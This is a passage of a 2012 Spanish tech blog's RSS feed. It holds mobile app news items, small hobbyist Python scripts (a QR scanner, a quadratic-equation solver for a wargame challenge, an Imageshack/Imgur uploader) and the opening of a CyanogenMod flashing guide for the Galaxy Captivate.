<p>Otra función de Instagram que ha generado una gran aceptación entre los usuarios es la posibilidad de poder compartir las fotografías del servicio en otras redes sociales. De esta manera, los usuarios pueden indicar si quieren que las instantáneas que capturen y publiquen aparezcan en sus cuentas de Facebook, Twitter, Tumblr y Foursquare. Según los responsables de Instagram, dentro de poco estas opciones se ampliarán a Flickr.</p>
<p>Como red social que es, Instagram también cuenta con opciones para comentar contenidos, muy similares a las de Facebook. Los usuarios pueden hacer &#8216;me gusta&#8217; en los contenidos de sus contactos o de las personas a las que siguen. Además, la app también permite realizar comentarios en las instantáneas.</p>
<p>La esperada aplicación ya está disponible para dispositivos Android con versión 2.2 y superiores, para móviles que soporten OpenGL ES 2. Instagram es una aplicación gratuita y ya se puede descargar a través de la tienda Google Play.</p>
<p>&nbsp;</p>
<p><strong>Enlaces relacionados:<br />
</strong>   - Google Play (<a href="https://play.google.com/store/apps/details?id=com.instagram.android" target="_blank">https://play.google.com/store/apps/details?id=com.instagram.android</a>)</p>
<p>&nbsp;</p>
<p><strong>Vía</strong> | EuropaPress</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/instagram-llega-de-forma-oficial-a-android/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Escáner de códigos Qr en Python (Android)</title>
		<link>http://www.daw-labs.com/escaner-de-codigos-qr-en-python-android-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=escaner-de-codigos-qr-en-python-android-2</link>
		<comments>http://www.daw-labs.com/escaner-de-codigos-qr-en-python-android-2/#comments</comments>
		<pubDate>Mon, 02 Apr 2012 18:03:59 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Sistemas operativos]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[codigos]]></category>
		<category><![CDATA[qr]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[sistema]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1666</guid>
		<description><![CDATA[Recién instalé SL4A en mi móvil, y decidí programar algo en Python. De esto, surgió el pyScanBarcode.py No siendo más, acá dejo el código #-*- coding: utf-8 -*- &#160; import android &#160; droid = android.Android&#40;&#41; sCode = droid.scanBarcode&#40;&#41; &#160; #Debug #print sCode &#160; &#40;sRslt, sType&#41; = sCode.result&#91;'extras'&#93;&#91;'la.droid.qr.result'&#93;, sCode.result&#91;'extras'&#93;&#91;'SCAN_RESULT_FORMAT'&#93; QMSG = ''' by .:WindHack:. Tipo: %s&#8230;]]></description>
			<content:encoded><![CDATA[<p>Recién instalé SL4A en mi móvil, y decidí programar algo en Python. De esto, surgió el <strong>pyScanBarcode.py</strong></p>
<p><a href="http://www.daw-labs.com/wp-content/uploads/2012/04/20120402_123839.jpg"><img src="http://www.daw-labs.com/wp-content/uploads/2012/04/20120402_123839.jpg" alt="" title="pyScanBarcode" width="480" height="800" class="aligncenter size-full wp-image-1663" /></a></p>
<p>No siendo más, acá dejo el código</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#-*- coding: utf-8 -*-</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> android
&nbsp;
droid = android.<span style="color: black;">Android</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
sCode = droid.<span style="color: black;">scanBarcode</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#Debug</span>
<span style="color: #808080; font-style: italic;">#print sCode</span>
&nbsp;
<span style="color: black;">&#40;</span>sRslt, sType<span style="color: black;">&#41;</span> = sCode.<span style="color: black;">result</span><span style="color: black;">&#91;</span><span style="color: #483d8b;">'extras'</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #483d8b;">'la.droid.qr.result'</span><span style="color: black;">&#93;</span>, sCode.<span style="color: black;">result</span><span style="color: black;">&#91;</span><span style="color: #483d8b;">'extras'</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #483d8b;">'SCAN_RESULT_FORMAT'</span><span style="color: black;">&#93;</span>
QMSG = <span style="color: #483d8b;">''</span><span style="color: #483d8b;">'
by .:WindHack:.
Tipo: %s
&nbsp;
Contenido: 
%s'</span><span style="color: #483d8b;">''</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>sType, sRslt<span style="color: black;">&#41;</span>
droid.<span style="color: black;">dialogCreateAlert</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Resultado del Escáner'</span>, QMSG<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">if</span> sRslt.<span style="color: black;">startswith</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'http'</span><span style="color: black;">&#41;</span>:
   droid.<span style="color: black;">dialogSetPositiveButtonText</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Abrir'</span><span style="color: black;">&#41;</span>
droid.<span style="color: black;">dialogSetNeutralButtonText</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Copiar contenido'</span><span style="color: black;">&#41;</span>
droid.<span style="color: black;">dialogSetNegativeButtonText</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Cerrar'</span><span style="color: black;">&#41;</span>
droid.<span style="color: black;">dialogShow</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
sResponse = droid.<span style="color: black;">dialogGetResponse</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">result</span>
<span style="color: #ff7700;font-weight:bold;">if</span> sResponse<span style="color: black;">&#91;</span><span style="color: #483d8b;">'which'</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'positive'</span>:
   droid.<span style="color: black;">view</span><span style="color: black;">&#40;</span>sRslt<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">elif</span> sResponse<span style="color: black;">&#91;</span><span style="color: #483d8b;">'which'</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'neutral'</span>:
   droid.<span style="color: black;">setClipboard</span><span style="color: black;">&#40;</span>sRslt<span style="color: black;">&#41;</span>
   droid.<span style="color: black;">notify</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'pyScanBarcode'</span>, <span style="color: #483d8b;">'Contenido copiado con éxito. ¡Gracias!'</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">elif</span> sResponse<span style="color: black;">&#91;</span><span style="color: #483d8b;">'which'</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'negative'</span>:
   exit<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/escaner-de-codigos-qr-en-python-android-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Samsung ChatON estrena cliente para BlackBerry</title>
		<link>http://www.daw-labs.com/samsung-chaton-estrena-cliente-para-blackberry-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=samsung-chaton-estrena-cliente-para-blackberry-2</link>
		<comments>http://www.daw-labs.com/samsung-chaton-estrena-cliente-para-blackberry-2/#comments</comments>
		<pubDate>Sun, 01 Apr 2012 15:39:59 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[chat]]></category>
		<category><![CDATA[competidor]]></category>
		<category><![CDATA[mensajería]]></category>
		<category><![CDATA[samsung]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1649</guid>
		<description><![CDATA[Tal y como se prometió desde su lanzamiento inicial, la aplicación de mensajería multiplataforma Samsung ChatOn ya cuenta con un cliente para BlackBerry disponible directamente en el sitio www.chaton.com, aunque por el momento solo es compatible con la Torch 9800 (se espera que en poco tiempo sean más los dispositivos compatibles). Con el lanzamiento de&#8230;]]></description>
			<content:encoded><![CDATA[<div><a href="http://www.daw-labs.com/wp-content/uploads/2012/04/chaton-bb.jpg"><img class="aligncenter size-full wp-image-1644" title="ChatON" src="http://www.daw-labs.com/wp-content/uploads/2012/04/chaton-bb.jpg" alt="" width="500" height="333" /></a></div>
<p>Tal y como se prometió desde su lanzamiento inicial, la aplicación de mensajería multiplataforma <strong>Samsung ChatOn</strong> ya cuenta con un <strong>cliente para BlackBerry</strong> disponible directamente en el sitio <a href="http://www.chaton.com/download.html">www.chaton.com</a>, aunque por el momento solo es compatible con la Torch 9800 (se espera que en poco tiempo sean más los dispositivos compatibles).</p>
<p>Con el lanzamiento de la versión para teléfonos inteligentes de RIM, tenemos la confirmación de que Samsung quiere una aplicación que <strong>compita de tu a tu con BlackBerry Messenger y WhatsApp</strong>, respaldada por una empresa tan importante como la coreana y con aplicaciones nativas para Bada, Android e iOS.</p>
<p>ChatON nos permite <strong>mandar mensajes de texto</strong> de forma gratuita con cualquiera de nuestros contactos que utilicen también la aplicación sin importar la plataforma que utilicen, además de contar con la ventaja de tener un cliente de escritorio con una interfaz accesible desde cualquier navegador web.</p>
<p>También se ha confirmado que en unas cuantas semanas estarán lanzando la versión de <strong>ChatON para Windows Phone</strong>, por lo que finalmente estarían llegando a todas las plataformas móviles más importantes del momento, agregando un valor extra a su aplicación la cual ahora tiene mucho mayor alcance.</p>
<p>Vía: <a href="http://sammyhub.com/2012/03/30/samsung-chaton-now-available-for-blackberry/">Sammyhub</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/samsung-chaton-estrena-cliente-para-blackberry-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resolver lista de ecuaciones cuadráticas en Python</title>
		<link>http://www.daw-labs.com/resolver-lista-de-ecuaciones-cuadraticas-en-python/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=resolver-lista-de-ecuaciones-cuadraticas-en-python</link>
		<comments>http://www.daw-labs.com/resolver-lista-de-ecuaciones-cuadraticas-en-python/#comments</comments>
		<pubDate>Sun, 25 Mar 2012 17:26:47 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[cuadraticas]]></category>
		<category><![CDATA[ecuaciones]]></category>
		<category><![CDATA[Matemáticas]]></category>
		<category><![CDATA[pasar]]></category>
		<category><![CDATA[Reto]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1636</guid>
		<description><![CDATA[Hoy vengo a presentar un script que tuve que realizar para un reto de un Wargame. El reto en sí, era resolver una gran lista de ecuaciones (aproximadamente 1.000), y posteriormente sumar todos sus resultados (enteros, nada más). Ej. 78x^2+8x-41446 66x^2+62x-124700 21x^2+15x-81654 Resultados: (23.0, -23.102564102564102) (43.0, -43.939393939393938) (62.0, -62.714285714285715) Respuesta: 23 + 43 + 62 =&#8230;]]></description>
			<content:encoded><![CDATA[<p>Hoy vengo a presentar un script que tuve que realizar para un reto de un Wargame.</p>
<p>El reto en sí, era resolver una gran lista de ecuaciones (aproximadamente 1.000), y posteriormente sumar todos sus resultados (enteros, nada más).</p>
<p>Ej.<br />
78x^2+8x-41446<br />
66x^2+62x-124700<br />
21x^2+15x-81654</p>
<p><strong>Resultados:</strong><br />
(23.0, -23.102564102564102)<br />
(43.0, -43.939393939393938)<br />
(62.0, -62.714285714285715)</p>
<p><strong>Respuesta:</strong><br />
23 + 43 + 62 = 128</p>
<p>No siendo más, aquí dejo el código.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#-*- coding: utf-8 -*-</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">math</span> <span style="color: #ff7700;font-weight:bold;">import</span> sqrt
&nbsp;
<span style="color: #808080; font-style: italic;">#Función para resolver las ecuaciones.</span>
<span style="color: #ff7700;font-weight:bold;">def</span> sSolve<span style="color: black;">&#40;</span>a,b,c<span style="color: black;">&#41;</span>:
    <span style="color: black;">&#40;</span>x1,x2<span style="color: black;">&#41;</span> = <span style="color: black;">&#40;</span>-b + sqrt<span style="color: black;">&#40;</span>b <span style="color: #66cc66;">**</span> <span style="color: #ff4500;">2</span> - <span style="color: #ff4500;">4</span><span style="color: #66cc66;">*</span>a<span style="color: #66cc66;">*</span>c<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>/<span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: #66cc66;">*</span>a<span style="color: black;">&#41;</span>,<span style="color: black;">&#40;</span>-b - sqrt<span style="color: black;">&#40;</span>b <span style="color: #66cc66;">**</span> <span style="color: #ff4500;">2</span> - <span style="color: #ff4500;">4</span><span style="color: #66cc66;">*</span>a<span style="color: #66cc66;">*</span>c<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>/<span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: #66cc66;">*</span>a<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: black;">&#40;</span>x1,x2<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#Abrir el archivo con todas las ecuaciones que se deben resolver.</span>
sFile = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'quadratic.txt'</span>,<span style="color: #483d8b;">'r'</span><span style="color: black;">&#41;</span>
<span style="color: #808080; font-style: italic;">#Variable para el resultado total.</span>
tTotal = <span style="color: #ff4500;">0.0</span>
<span style="color: #808080; font-style: italic;">#Bucle para recorrer línea a línea el archivo.</span>
<span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> sFile:
    <span style="color: #808080; font-style: italic;">#Índices para buscar los términos a, b y c.</span>
    iA = line.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'x^2+'</span><span style="color: black;">&#41;</span>
    iB = line.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'x-'</span><span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;">#Agrupar los valores correspondientes en una tupla (Convertidos en integer)</span>
    <span style="color: black;">&#40;</span>a, b, c<span style="color: black;">&#41;</span> = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#91;</span>:iA<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>,<span style="color: #008000;">int</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#91;</span>iA+<span style="color: #ff4500;">4</span>:iB<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>,<span style="color: #008000;">int</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#91;</span>iB+<span style="color: #ff4500;">1</span>:<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;">#Resolver...</span>
    rRes = sSolve<span style="color: black;">&#40;</span>a,b,c<span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;">#Sumar respuestas válidas (Enteras).</span>
    tTotal += rRes<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
<span style="color: #808080; font-style: italic;">#Cerrar el archivo.</span>
sFile.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #808080; font-style: italic;">#Imprimir en pantalla el total.</span>
<span style="color: #ff7700;font-weight:bold;">print</span> tTotal</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/resolver-lista-de-ecuaciones-cuadraticas-en-python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Uploader de imágenes (Imageshack &amp; Imgur) en Python</title>
		<link>http://www.daw-labs.com/uploader-de-imagenes-imageshack-imgur-en-python/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=uploader-de-imagenes-imageshack-imgur-en-python</link>
		<comments>http://www.daw-labs.com/uploader-de-imagenes-imageshack-imgur-en-python/#comments</comments>
		<pubDate>Sun, 25 Mar 2012 04:08:05 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[cargar]]></category>
		<category><![CDATA[imagenes]]></category>
		<category><![CDATA[imageshack]]></category>
		<category><![CDATA[imgur]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[subir]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1630</guid>
		<description><![CDATA[Hace algún tiempo que no programaba algo interesante en Python, así que en un ataque de ánimo, me decidí a hacer este pequeño script. Básicamente es un uploader de imágenes el cual funciona mediante consola, los archivos pueden ser subidos a Imageshack/Yfrog e Imgur. Vale decir que es necesario tener instalado pycurl para que funcione correctamente. Modo de uso&#8230;]]></description>
			<content:encoded><![CDATA[<p>Hace algún tiempo que no programaba algo interesante en <strong>Python</strong>, así que en un ataque de ánimo, me decidí a hacer este pequeño script.<br />
Básicamente es un uploader de imágenes el cual funciona mediante consola, los archivos pueden ser subidos a <strong>Imageshack/Yfrog</strong> e <strong>Imgur</strong>.<br />
Vale decir que es necesario tener instalado <strong>pycurl</strong> para que funcione correctamente.</p>
<p><strong>Modo de uso</strong></p>
<pre>Usage: pymgUploader.py [Options] filename

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -u SERVICE, --uploadTo=SERVICE
                        write the service to upload image. (Options: Imageshack or Imgur)</pre>
<p>Si se corre bajo Linux, se puede ejecutar de la siguiente forma:</p>
<pre>~ $ chmod +x pymgUploader.py
~ $ ./pymgUploader.py -h
...
~ $ python pymgUploader.py -h</pre>
<p><strong>Ejemplo</strong></p>
<pre>~ $ ./pymgUploader.py -u Imageshack '/home/windhack/Imágenes/Pantallazo del 2012-03-22 23:08:28.png'

http://img707.imageshack.us/img707/699/pantallazodel2012032223.png

http://yfrog.com/jnpantallazodel2012032223p</pre>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #808080; font-style: italic;">#-*- coding: utf-8 -*-</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#############################</span>
<span style="color: #808080; font-style: italic;"># Developed by .:WindHack:. #</span>
<span style="color: #808080; font-style: italic;">#     www.daw-labs.com      #</span>
<span style="color: #808080; font-style: italic;">#    www.cibernodo.net      #</span>
<span style="color: #808080; font-style: italic;">#############################</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> pycurl, <span style="color: #dc143c;">StringIO</span>, <span style="color: #dc143c;">os</span>, <span style="color: #dc143c;">optparse</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> sUploadImage<span style="color: black;">&#40;</span>sService, sFilename<span style="color: black;">&#41;</span>:
    sResponse = <span style="color: #dc143c;">StringIO</span>.<span style="color: #dc143c;">StringIO</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    cUrl = pycurl.<span style="color: black;">Curl</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> sService == <span style="color: #483d8b;">'imageshack'</span>:
        sParams = <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'key'</span>,<span style="color: #483d8b;">'4678EFIYcc556e5f788bae3495854ead3a08757d'</span><span style="color: black;">&#41;</span>,
                   <span style="color: black;">&#40;</span><span style="color: #483d8b;">'fileupload'</span>,<span style="color: black;">&#40;</span>pycurl.<span style="color: black;">FORM_FILE</span>,sFilename<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
        cUrl.<span style="color: black;">setopt</span><span style="color: black;">&#40;</span>pycurl.<span style="color: black;">URL</span>,<span style="color: #483d8b;">'http://www.imageshack.us/upload_api.php'</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">elif</span> sService == <span style="color: #483d8b;">'imgur'</span>:
        sParams = <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'key'</span>,<span style="color: #483d8b;">'c7bb4891711492c98ffedb0841cd9464'</span><span style="color: black;">&#41;</span>,
                   <span style="color: black;">&#40;</span><span style="color: #483d8b;">'image'</span>,<span style="color: black;">&#40;</span>pycurl.<span style="color: black;">FORM_FILE</span>,sFilename<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
        cUrl.<span style="color: black;">setopt</span><span style="color: black;">&#40;</span>pycurl.<span style="color: black;">URL</span>,<span style="color: #483d8b;">'http://api.imgur.com/2/upload.xml'</span><span style="color: black;">&#41;</span>
    cUrl.<span style="color: black;">setopt</span><span style="color: black;">&#40;</span>pycurl.<span style="color: black;">HTTPPOST</span>, sParams<span style="color: black;">&#41;</span>
    cUrl.<span style="color: black;">setopt</span><span style="color: black;">&#40;</span>pycurl.<span style="color: black;">WRITEFUNCTION</span>, sResponse.<span style="color: black;">write</span><span style="color: black;">&#41;</span>
    cUrl.<span style="color: black;">perform</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    cUrl.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> sResponse.<span style="color: black;">getvalue</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> GetPosText<span style="color: black;">&#40;</span>sTextA, sTextB, sSource<span style="color: black;">&#41;</span>:
    A = sSource.<span style="color: black;">find</span><span style="color: black;">&#40;</span>sTextA<span style="color: black;">&#41;</span>
    B = sSource.<span style="color: black;">find</span><span style="color: black;">&#40;</span>sTextB<span style="color: black;">&#41;</span>
    sSource = sSource<span style="color: black;">&#91;</span>A+<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>sTextA<span style="color: black;">&#41;</span>:B<span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> sSource
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> xmlParser<span style="color: black;">&#40;</span>sService, sXML<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">if</span> sService == <span style="color: #483d8b;">'imageshack'</span>:
        sTagsA = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'&lt;image_link&gt;'</span>,
                 <span style="color: #483d8b;">'&lt;yfrog_link&gt;'</span><span style="color: black;">&#93;</span>
&nbsp;
        sTagsB = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'&lt;/image_link&gt;'</span>,
                 <span style="color: #483d8b;">'&lt;/yfrog_link&gt;'</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">elif</span> sService == <span style="color: #483d8b;">'imgur'</span>:
        sTagsA = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'&lt;original&gt;'</span>,
                 <span style="color: #483d8b;">'&lt;imgur_page&gt;'</span><span style="color: black;">&#93;</span>
&nbsp;
        sTagsB = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'&lt;/original&gt;'</span>,
                 <span style="color: #483d8b;">'&lt;/imgur_page&gt;'</span><span style="color: black;">&#93;</span>     
    sInfo = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>sTagsA<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
        sInfo.<span style="color: black;">append</span><span style="color: black;">&#40;</span>GetPosText<span style="color: black;">&#40;</span>sTagsA<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span>,sTagsB<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span>,sXML<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> sInfo
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> myMain<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    oParser = <span style="color: #dc143c;">optparse</span>.<span style="color: black;">OptionParser</span><span style="color: black;">&#40;</span>usage=<span style="color: #483d8b;">'usage: %prog [Options] filename'</span>,version=<span style="color: #483d8b;">'%prog b1.0'</span><span style="color: black;">&#41;</span>
    oParser.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'-u'</span>,<span style="color: #483d8b;">'--uploadTo'</span>,
                       action=<span style="color: #483d8b;">'store'</span>,
                       dest=<span style="color: #483d8b;">'Service'</span>,
                       default=<span style="color: #483d8b;">'Imageshack'</span>,
                       <span style="color: #008000;">help</span>=<span style="color: #483d8b;">'write the service to upload image. (Options: Imageshack or Imgur)'</span><span style="color: black;">&#41;</span>
    <span style="color: black;">&#40;</span>oOptions, aArgs<span style="color: black;">&#41;</span> = oParser.<span style="color: black;">parse_args</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    sService = oOptions.<span style="color: black;">Service</span>.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    xXML = sUploadImage<span style="color: black;">&#40;</span>sService,aArgs<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
    sUrls = xmlParser<span style="color: black;">&#40;</span>sService,xXML<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>sUrls<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">print</span> sUrls<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span>,<span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
    myMain<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>Se puede descargar también haciendo <a href="http://db.tt/M8A1sd9W" target="_blank">clic aquí</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/uploader-de-imagenes-imageshack-imgur-en-python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guía completa para Samsung Galaxy Captivate: Actualizar a CyanogenMod 7.1</title>
		<link>http://www.daw-labs.com/guia-completa-para-samsung-galaxy-captivate-actualizar-a-cyanogenmod-7-1/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=guia-completa-para-samsung-galaxy-captivate-actualizar-a-cyanogenmod-7-1</link>
		<comments>http://www.daw-labs.com/guia-completa-para-samsung-galaxy-captivate-actualizar-a-cyanogenmod-7-1/#comments</comments>
		<pubDate>Sun, 18 Mar 2012 02:04:03 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Sistemas operativos]]></category>
		<category><![CDATA[actualizar android]]></category>
		<category><![CDATA[captivate]]></category>
		<category><![CDATA[cyanogen]]></category>
		<category><![CDATA[galaxy]]></category>
		<category><![CDATA[galaxy s]]></category>
		<category><![CDATA[movil]]></category>
		<category><![CDATA[rom]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1621</guid>
		<description><![CDATA[Hace un par de meses adquirí un Samsung Galaxy S (Captivate), y realmente me enamoré de él. Jugando un poco, después de aplicarle una actualización a Android 2.3.5 (Official ROM), decidí dejar a un lado el temor y le apliqué una actualización a una de las mejores ROMs que conozco: CyanogenMod. Como es de costumbre, cada vez que realizo&#8230;]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.daw-labs.com/wp-content/uploads/2012/03/CyanogenLogo.png"><img class="aligncenter size-full wp-image-1623" title="CyanogenMod" src="http://www.daw-labs.com/wp-content/uploads/2012/03/CyanogenLogo.png" alt="" width="372" height="80" /></a>Hace un par de meses adquirí un <strong>Samsung Galaxy S</strong> <em>(Captivate)</em>, y realmente me enamoré de él.</p>
<p>Jugando un poco, después de aplicarle una actualización a <strong><a href="http://www.daw-labs.com/actualizar-samsung-galaxy-captivate-de-android-2-2-froyo-a-2-3-5-gingerbread/" rel="nofollow" target="_blank">Android 2.3.5 (Official ROM)</a></strong>, decidí dejar a un lado el temor y le apliqué una actualización a una de las mejores ROMs que conozco: <strong>CyanogenMod</strong>. Como es de costumbre, cada vez que realizo estas cosas y ya que adquiero cierta experiencia, procedo a escribir la guía correspondiente.</p>
<p>Hay que tener en cuenta que se corren -como siempre- riesgos (así sean ínfimos) de dejar inservible nuestro móvil al realizar estos procedimientos, así que no me hago responsable de lo que pueda llegar a suceder, sin embargo esta guía esta hecha especialmente para evitar que esto pase. Sin embargo, recuerde que este proceso se hace completamente bajo <strong>SU</strong> responsabilidad, y como tal quedo exento de cualquier reclamo.</p>
<hr />
<h3><strong>Requisitos</strong></h3>
<ul>
<li>CyanogenMod (7.1) &#8211; <a href="http://download.cyanogenmod.com/?type=stable&amp;device=captivatemtd">descarga aquí</a></li>
<li>SpeedMod Kernel &#8211; <a href="http://db.tt/fcG9FSnf">descarga aquí</a></li>
